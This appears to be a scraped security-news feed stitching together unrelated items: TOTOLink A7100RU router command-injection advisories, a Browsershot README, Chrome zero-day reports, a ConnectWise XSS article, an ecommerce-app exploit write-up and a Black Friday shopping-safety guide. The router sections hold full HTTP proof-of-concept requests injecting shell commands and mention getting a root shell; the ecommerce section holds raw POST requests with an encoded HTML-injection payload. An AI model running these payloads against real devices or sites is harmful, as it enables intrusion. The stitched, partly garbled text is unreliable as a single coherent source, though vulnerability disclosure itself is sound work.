TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the pass parameter in the setting/setOpenVpnCfg function.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The content obtained by the program through the pass parameter is passed to V26, and then V26 is brought into UCI\_ Set\_ In str() function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setOpenVpnCfg",
    "pass":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-44844: IOT_vuln/TOTOLink/A7100RU/2 at main · EPhaha/IOT_vuln

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the port parameter in the setting/setOpenVpnClientCfg function.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The content obtained by the program through the iptvver parameter is passed to v19, and then v19 is brought into UCI\_ Set\_ Within STR function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setOpenVpnClientCfg",
    "port":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-44843: IOT_vuln/TOTOLink/A7100RU/1 at main · EPhaha/IOT_vuln

Browsershot version 3.57.2 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the URL protocol passed to the Browsershot::url method.

**Convert a webpage to an image or pdf using headless Chrome**

   

The package can convert a webpage to an image or pdf. The conversion is done behind the scenes by Puppeteer which controls a headless version of Google Chrome.

Here's a quick example:

use Spatie\\Browsershot\\Browsershot;

// an image will be saved
Browsershot::url('https://example.com')->save($pathToImage);

It will save a pdf if the path passed to the save method has a pdf extension.

// a pdf will be saved
Browsershot::url('https://example.com')->save('example.pdf');

You can also use an arbitrary html input, simply replace the url method with html:

Browsershot::html('<h1>Hello world!!</h1>')->save('example.pdf');

If your HTML input is already in a file locally use the :

Browsershot::htmlFromFilePath('/local/path/to/file.html')->save('example.pdf');

Browsershot also can get the body of an html page after JavaScript has been executed:

Browsershot::url('https://example.com')->bodyHtml(); // returns the html of the body

If you wish to retrieve an array list with all of the requests that the page triggered you can do so:

$requests = Browsershot::url('https://example.com')
    ->triggeredRequests();

foreach ($requests as $request) {
    $url = $request\['url'\]; //https://example.com/
}

**Support us**

Learn how to create a package like this one, by watching our premium video course:

We invest a lot of resources into creating best in class open source packages. You can support us by buying one of our paid products.

We highly appreciate you sending us a postcard from your hometown, mentioning which of our package(s) you are using. You'll find our address on our contact page. We publish all received postcards on our virtual postcard wall.

**Documentation**

All documentation is available on our documentation site.

**Contributing**

Please see CONTRIBUTING for details.

**Security**

If you've found a bug regarding security please mail security@spatie.be instead of using the issue tracker.

**Alternatives**

If you're not able to install Node and Puppeteer, take a look at v2 of browsershot, which uses Chrome headless CLI to take a screenshot. v2 is not maintained anymore, but should work pretty well.

If using headless Chrome does not work for you take a look at at v1 of this package which uses the abandoned PhantomJS binary.

**Credits**

*   Freek Van der Herten
*   All Contributors

And a special thanks to Caneco for the logo ✨

**License**

The MIT License (MIT). Please see License File for more information.

CVE-2022-41706: GitHub - spatie/browsershot: Convert HTML to an image, PDF or string

Chrome suffers from a heap use-after-free vulnerability in blink::LocalFrameView::PerformLayout due to an incomplete fix for CVE-2022-3199.

Chrome blink::LocalFrameView::PerformLayout Use-After-Free

Researchers also applaud abandonment of customization feature abused by scammers

Adam Bannister 25 November 2022 at 15:00 UTC

Researchers also applaud abandonment of customization feature abused by scammers

A cross-site scripting (XSS) vulnerability in ConnectWise Control, the remote monitoring and management (RMM) platform, offered attackers a powerful attack vector for abusing remote access tools.

Now patched, the stored XSS flaw was disclosed by Guardio Labs, which in July published an analysis of tech support scams, a widespread phenomenon whereby scammers abuse RMM platforms in order to create fake technical support portals and dupe victims into inadvertently installing malware.

Once installed, a remote access tool gives attackers remote control of a victim’s desktop PC or mobile device and, said the report, “is persistent, mostly undetectable, and bypasses almost all regular forms of protection. And in a show of supreme chutzpah, these scammers even manipulate this capability to bypass 2FA protection and take full control of PayPal and bank accounts”.

Read more of the latest hacking tools news

A new technical write-up documenting the ConnectWise XSS explains how attackers could easily register for a free, anonymous email account and submit fake personal details. This would give them a corporate-grade remote access agent and support portal they could customize – with no coding skills needed – to convincingly mimic famous brands.

Scammers could then call and dupe victims by, for example, sending “them a fake invoice for some service they never registered to, urgently referring them to a \[…\] fake refund service portal to enter the ‘invoice’ code (triggering the dedicated silent \[remote access tool\] installation),” wrote Nati Tal, head of Guardio Labs.

**Full control**

The stored XSS bug arose from a lack of sanitation of the resource. “Any code we maliciously inject in between the tags with some manipulations is executed as any other code in the context of the webapp – as if was authored by the official owner of the service,” explains Tal.

“A script executing from this context gives an attacker full control over any element of the webapp, potentially altering any element of the page as well as connection to the backend servers,” contined Tal.

Scammers could also “abuse the hosting service itself – allowing misuse of ConnectWise hosting, identity, and certificate to serve malicious code or gain full access to admin pages even after the trial period is over.”

**‘Bold move’**

ConnectWise recently added a prominent advisory to its remote support service to alert visitors to this social engineering threat. However, Guardio Labs found that attackers could also execute code that removes this warning.

ConnectWise has since responded by removing the customization feature for trial accounts – “a bold move” that would prevent scammers from creating credible-looking Amazon or Microsoft support pages but at the cost of losing a useful feature and commercial differentiator, noted Tal. “They sure took this matter seriously which is very appreciated and will surely help make web browsing safer and the scammers’ life a bit harder,” he said.

“ConnectWise was very responsive and quickly fixed the issue” by adding sanitization to that neutralized Guardio’s exploit code, added the researcher.

Users are advised to update to version v22.6, released on August 8, 2022, or later.

YOU MIGHT ALSO LIKE Google Roulette: Developer console trick can trigger XSS in Chromium browsers

ConnectWise closes XSS vector for remote hijack scams

Google on Thursday released software updates to address yet another zero-day flaw in its Chrome web browser.
Tracked as CVE-2022-4135, the high-severity vulnerability has been described as a heap buffer overflow in the GPU component. Clement Lecigne of Google's Threat Analysis Group (TAG) has been credited with reporting the flaw on November 22, 2022.
Heap-based buffer overflow bugs can be

Google on Thursday released software updates to address yet another zero-day flaw in its Chrome web browser.

Tracked as **CVE-2022-4135**, the high-severity vulnerability has been described as a heap buffer overflow in the GPU component. Clement Lecigne of Google's Threat Analysis Group (TAG) has been credited with reporting the flaw on November 22, 2022.

Heap-based buffer overflow bugs can be weaponized by threat actors to crash a program or execute arbitrary code, leading to unintended behavior.

"Google is aware that an exploit for CVE-2022-4135 exists in the wild," the tech giant acknowledged in an advisory.

But like other actively exploited issues, technical specifics have been withheld until a majority of the users are updated with a fix and to prevent further abuse.

With the latest update, Google has resolved eight zero-day vulnerabilities in Chrome since the start of the year -

*   **CVE-2022-0609** - Use-after-free in Animation
*   **CVE-2022-1096** - Type confusion in V8
*   **CVE-2022-1364** - Type confusion in V8
*   **CVE-2022-2294** - Heap buffer overflow in WebRTC
*   **CVE-2022-2856** - Insufficient validation of untrusted input in Intents
*   **CVE-2022-3075** - Insufficient data validation in Mojo
*   **CVE-2022-3723** - Type confusion in V8

Users are recommended to upgrade to version 107.0.5304.121 for macOS and Linux and 107.0.5304.121/.122 for Windows to mitigate potential threats.

Users of Chromium-based browsers such as Microsoft Edge, Brave, Opera, and Vivaldi are also advised to apply the fixes as and when they become available.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Update Chrome Browser Now to Patch New Actively Exploited Zero-Day Flaw

Heap buffer overflow in GPU in Google Chrome prior to 107.0.5304.121 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

**Heap buffer overflow in GPU**

Critical severity GitHub Reviewed Published Nov 25, 2022 • Updated Nov 28, 2022

GHSA-995f-9x5r-2rcj: Heap buffer overflow in GPU

CVE-2022-4135: Stable Channel Update for Desktop

Ecommerce version 1.0 suffers from cross site scripting and open redirection vulnerabilities.

    ## Title: Ecommerse-1.0 XSS-Reflected Hijack-credentials - JavaScript Injection## Author: nu11secur1ty## Date: 11.23.2022## Vendor: https://github.com/winston-dsouza## Software: https://github.com/winston-dsouza/ecommerce-website## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website## Description:The value of the eMail request parameter is copied into the value ofan HTML tag attribute which is encapsulated in double quotation marks.The attacker can trick the users of this system, very easy to visit avery dangerous link from anywhere, and then the game will over forthese customers.Also, the attacker can create a network from botnet computers by usingthis vulnerability.## STATUS: HIGH Vulnerability[+] Exploit00:```POSTPOST /ecommerce/index.php?error=If%20you%20lose%20your%20credentials%20information,%20please%20use%20our%20recovery%20webpage%20to%20recover%20your%20account.%20https://pornhub.comHTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Connection: closeCache-Control: max-age=0Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2fOrigin: http://pwnedhost.comUpgrade-Insecure-Requests: 1Referer: http://pwnedhost.com/ecommerce/index.phpContent-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 0```## Description01:JavaScript can be injected into the application response (a vulnerableapp - signup_script.php, no sanitizing submit function).The attacker can crash the MySQL server by sending large bites of POSTrequests to the MySQL server of this system.## STATUS: HIGH Vulnerability - CRITICAL## Real attack:[+] Exploit01:```POSTPOST /ecommerce/signup_script.php HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Connection: closeCache-Control: max-age=0Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2fOrigin: http://pwnedhost.comUpgrade-Insecure-Requests: 1Referer: http://pwnedhost.com/ecommerce/index.phpContent-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 1070eMail=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%63%64%6e%35%2d%63%61%70%72%69%6f%66%69%6c%65%73%2e%6e%65%74%64%6e%61%2d%73%73%6c%2e%63%6f%6d%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%37%2f%30%37%2f%49%4d%47%5f%30%30%36%38%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&password=s9L%21c7x%21E2&firstName=WoZykRqh&lastName=cqeMPJcJ```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website)## Proof and Exploit:[href](https://streamable.com/3r4t36)## Real Exploit:[href](https://streamable.com/n3b5ev)## Real Exploit - code insert:[href](https://streamable.com/64dmo2)## Time spent`1:45`

Ecommerce 1.0 Cross Site Scripting / Open Redirect

'Tis the season for swindlers and hackers. Use these tips to spot frauds and keep your payment info secure.

Black Friday attracts crowds, and crowds attract scammers, and that means you need to take extra care when shopping online over the Black Friday and Cyber Monday weekend. There'll be people out there eager to relieve you of more money than you'll save on a TV set or a gaming console.

The following precautions apply any time of year, but it's worth reminding yourself of them every time a serious holiday season comes around. In the rush to get gifts sorted, it's all too easy to miss a warning sign, or get complacent about online security.

Update All Your Software

Keeping programs and operating systems up to date is important enough that Microsoft, Apple, Google, Mozilla, and all the other big names in tech now make it difficult for anyone to lag behind with their updates—most of the time you'll be prompted regularly to install new versions of your software, and it might even happen automatically in the background without you noticing.

The biggest retail event of the year has grown into an entire month of sales that ebb and flow. Here’s how to make the most of it.

Today's browsers, apps, and OSes are adept at spotting scams as they happen, whether it's phishing emails (designed to lure you to a fake shopping or banking site) or unauthorized logins on your accounts. To make the most of this built-in security, ensure you're running the latest versions across the board, which means the latest security patches—if you've been putting off updates on your phone or your computer, then get them done ahead of Black Friday.

If you do have a laptop that's too old to run the latest versions of Windows or macOS, avoid using it if possible—you'll be safer shopping on your phone, as long as it's running the most recent Android or iOS updates. On Android, you can check for updates via **System** and **System Update** in Settings; on iOS, it's **Settings** and then **General** and **Software Update**.

Be Wary of Email and Social Media Deals

You're likely to be inundated with special offers over email and social media this Black Friday, but be careful when it comes to clicking through on deals that come from suspicious sources (stores you've never shopped at before, for example). Always check that the link you clicked sent you to the website you were expecting to visit.

There's no hard and fast way to guarantee you'll never get caught out by a dodgy link (apart from just ignoring them all completely), but you can minimize the risk: Check that the social media account or email address sending the link is genuine, head to the site in question in a separate browser window to see whether you can find the same offer advertised, and be sure the offer you're looking at is the one that was promoted.

If your browser is up to date, as we mentioned above, dangerous links should be blocked before you reach them, but we'd still recommend being wary. You'll see some great offers advertised over social media and email, but no discount is worth the risk of exposing yourself to scammers.

Make sure all your devices are updated before shopping.

Android via David Nield

Do Your Research

Wherever possible, stick to trusted stores online. All the major players have robust security procedures in place, so the chances of them (and you) getting hacked are smaller. Still, if you're buying from any site, always check you're on the store website you think you are by checking in your browser's address bar.

We're not saying you should never shop at smaller outlets, but make sure they're using HTTPS technology (indicated with a padlock in your browser's address bar). Look for contact details, an office with a physical address, and reviews left by other users (Trustpilot can be helpful here). See if they're on Twitter and Facebook—and whether those accounts are actually active.

Debit and credit card issuers will usually protect you against fraud—check their policies online if you're not sure about yours—but nevertheless, keep an eye on your bank accounts throughout the Black Friday weekend to make sure only the amounts you're expecting to be debited are going out.

Double-Check Deals

Retailers change their prices all the time—especially online—so a "big discount" you see might only apply to whatever the price was last week, not what it's been over the course of the past year. Price trackers such as CamelCamelCamel can help you work out whether you're getting a genuine bargain or just something that was already heavily reduced.

Checking out product reviews on the web is a useful way of determining how current something is and how much you should be spending on it. Are you looking at the genuine article, or just a cheap knock-off? Is the gadget you're about to buy future-proofed with the latest tech or will it be out of date in six months? And (especially on Amazon) is it being sent from your current region or the other side of the world? Who's the actual seller? Make sure you read what previous buyers have to say via the user reviews before spending your money.

Just be aware that stores also use the occasion to try and shift their remaining stock of older, less popular products. Make sure you're looking at what you're buying and not just the price drop.

CamelCamelCamel will show you previous price drops on Amazon.

CamelCamelCamel via David Nield

Protect Your Accounts

As always, keep your accounts locked down and protected on Black Friday. Use strong, unique passwords for all your accounts (a dedicated password manager or your browser's password management system can help here), and turn on two-factor authentication on every account that offers it (Microsoft, Apple, Google, Facebook, and Twitter ones all do, for a start).

While it may seem convenient to quickly set up a new shopping account with your “usual” password, it only takes one account sharing the same password to get exposed, and all the others can come tumbling down after it. If you're using the latest versions of Chrome and Safari, you'll notice you can now use a strong password suggested by your browser (the option should pop up automatically when you're in a password field).

If you're planning on shopping at outlets where you haven't purchased anything before, it's a good idea to get these accounts set up ahead of time—this means you aren't rushing when it comes to thinking up new passwords and entering potentially sensitive information into your web browser.

Guard Your Payment Info

Many places that you're shopping at on Black Friday and Cyber Monday will already have your payment info on file, but if you're entering details into a new site, again make sure the padlock symbol is showing in the address bar—the full URL should also begin “https://”, which indicates that your payment details will be encrypted in transit.

If you’re on vacation or out of town, we recommend waiting until you get back home before buying anything—or at least using the cellular data on your phone to make a connection rather than a public Wi-Fi hotspot, as it's much harder for hackers to intercept your details (or look over your shoulder as you're typing them). If you are shopping in-store, be careful to guard your PIN numbers and other sensitive details when you're surrounded by crowds—or even just one shop assistant.

As tempting as Black Friday offers might be, it's usually a good idea to shop in as few places as possible, if you can: The fewer companies that hold your payment data, the less likely you are to be victim to a data breach, and the risk of those breaches are really down to the company's security policies rather than any precautions you can take.

Tag

#chrome